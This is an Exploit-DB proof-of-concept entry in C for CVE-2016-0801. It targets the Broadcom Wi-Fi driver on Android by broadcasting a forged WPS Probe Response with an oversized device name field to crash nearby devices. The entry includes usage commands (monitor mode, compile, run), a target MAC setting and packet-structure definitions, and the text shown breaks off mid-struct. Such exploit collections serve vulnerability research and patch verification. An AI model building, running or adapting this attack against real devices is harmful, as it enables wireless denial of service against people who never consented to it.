Exploit-DB #39801
Description: Google Android Broadcom Wi-Fi Driver - Memory Corruption
Type: dos
Platform: android
Date: 2016-05-11
Author: AbdSec

Exploit:
/*
 * Copyright (C) 2016 by AbdSec Core Team <ok@abdsec.com>
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

 /*
    USAGE

    # airmon-ng start wlan0
    # gcc -o wps wps.c -Wall -O2 -DDEBUG -DSHOW
    # ./wps
    Total Wps Length: 118

    [99]  SSID: DON'T_CONNECT
	  DEST: ff ff ff ff ff ff 
	  Sending Packet (315 byte) ...

	  ...
 */

 /*
    This is a proof of concept for CVE-2016-0801 Bug
    the program proceeds as follows:
    o  A new WPS Probe Response packet is generated.
    o  The device_name field of this packet is filled with some string that's longer than hundered characters.
    o  This packet is broadcasted on the network( interface needs to be on monitor mode for this to work).
    At this point the device picking up this packet, identified by its mac address(DESTINATION_MAC), should have crashed.

    the following patch shows how contributor fixed the bug
    https://android.googlesource.com/kernel/msm/+/68cdc8df1cb6622980b791ce03e99c255c9888af%5E!/#F0


    Wireshark filter for displaying PROBE RESPONSE packets: wlan.fc.type_subtype == 0x05
    Reference WPS Architecture: http://v1ron.ru/downloads/docs/Wi-Fi%20Protected%20Setup%20Specification%201.0h.pdf

    Acımasız Tom'a Sevgilerle :)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netpacket/packet.h>
#include <linux/wireless.h>
#include <assert.h>


#define calc_size(x)	(sizeof(x) - 2)
#define reverse8(x)	(x<<4&0xf0) | ((x>>4)&0x0f)    /* 0XAB becomes 0XBA 	*/
#define reverse16(x)	(x&0xff00)>>8 | (x&0x00ff)<<8  /* 0XABCD becomes 0XCDAB */

#define PROBE_REQUEST		0x04
#define PROBE_RESPONSE		0x05
#define BEACON			0x08

#define SOURCE_MAC		"\xaa\xbb\xdd\x55\xee\xcc"

/* Do NOT forget to set your target's mac address */
#define DESTINATION_MAC 	"\xff\xff\xff\xff\xff\xfc"

#define SSID		"DON'T_CONNECT"

/* Tag Number Definitions */
#define SSID_t		0x00
#define RATES_t  	0x01
#define DS_t	 	0x03
#define ERP_t		0x2a
#define ESR_t	 	0x32
#define RSN_t	 	0x30
#define HTC_t		0x2d
#define HTI_t	 	0x3d
#define VENDOR_t   	0xdd

#define OUI_AES		"\x00\x0f\xac"
#define OUI_Microsof	"\x00\x50\xf2"


/* Data Element Type Definitions for WPS Probe Response */

#define VERSION					0x104a
#define WPS_STATE				0x1044
#define SELECTED_REGISTRAR			0x1041
#define DEVICE_PASSWORD_ID			0x1012
#define SELECTED_REGISTRAR_CONFIG_METHODS	0x1053
#define RESPONSE_TYPE				0x103b
#define UUID_E					0x1047
#define MANUFACTURER				0x1021
#define MODEL_NAME				0x1023
#define MODEL_NUMBER				0x1024
#define SERIAL_NUMBER				0x1042
#define PRIMARY_DEVICE_TYPE			0x1054
#define WPS_ID_DEVICE_NAME			0x1011
#define CONFIG_METHODS	 			0x1008

/* Just cloned from a sniffed packet */
#define RATES_v		"\x82\x84\x8b\x96" 
#define ESRATES_v	"\x8c\x12\x98\x24\xb0\x48\x60\x6c" 

/* Wps Version */
#define WV	0x10
/* Wps State */
#define WS	0x01
/* Selected Registrar */
#define SR	0x02
/* Response Type */
#define RT 	0x03

/* For Device Password ID */
#define PIN	0x0000
/* For Selected Registrar Config Methods */
#define SRCM	0x018c
/* For Config Methods */
#define CM	0x0004


/* For Broadcast */
#define DELAY	200000
/* !!! Monitor mode on  !!!*/
#define IFACE 	"mon0"

#define MAX_SIZE	1024

/* Max Tag Length */
#define MAX_TL	 	0xff

typedef uint8_t u8;
typedef uint16_t u16;

/* Common Tags */
typedef struct {
    /* Tag Number */
    u8 tn;
    /* Tag Length */
    u8 tl;
} com_a;

typedef struct {
    u8 oui[3];
    u8 type;
} com_b;

typedef struct data_definition{
    /* Data Element Type */
    u16 det;
    /* Data Element Length */
    u16 del;
} def;


/* Common Wps Tags */
typedef struct wtag_8 {
    def init;
    u8 item;
} __attribute__((packed)) wtag_a;


typedef struct wtag_16 {
    def init;
    u16 item;
} __attribute__((packed)) wtag_b;


typedef struct wtag_point {
    def init;
    char *item;	
} __attribute__((packed)) wtag_c;


struct ie80211_hdr {
    u8 type;
    u8 flags;
    u16 duration;
    u8 dest[6];
    u8 source[6];
    u8 bssid[6];
    u8 fragment_no;
    u8 sequence_no;
};

/* Dynamic Tag */
struct ssid {
    com_a  head;
    u8 *ssid;
};

/* Tagged Parameters */
struct Wifi_Tags {

    struct {
	com_a head;
	u8 rates[4];
    } rates;

    struct  {
	com_a head;
	u8 channel;
    } ds;

    struct {
	com_a head;
	u8 erp_info;
    } erp_info;

    /* Extended Support Rates */
    struct {
	com_a head;
	u8 rates[8];
    } esr;

    struct {
	com_a head;
	u16 version;
	/* Group Chipher Suite */
	com_b gcp;
	u16 pcs_count;
	/* Pairwise Chipher Suite */
	com_b pcs;
	u16 akm_count;
	/* Auth Key Management */
	com_b akm;
	u16 rsn;
    } rsn_info;

    struct {
	com_a head;
	com_b wpa_o;
	u16 version;
	/* Multi Chipher Suite */
	com_b mcs;
	u16 ucs_count;
	/* Unicast Chipher Suite */
	com_b ucs;
	/* Auth Key Management */
	u16 akm_count;
	com_b akm;
    } wpa;

    struct {
	com_a head;
	u16 info;
	u8 mpdu;
	u8 scheme[16];
	u16 capabilities;
	u16 transmit;
	u8 asel;
    } ht_capabilites __attribute__((packed));

    struct {
	com_a head;
	u8 channel;
	u8 subset1;
	u16 subs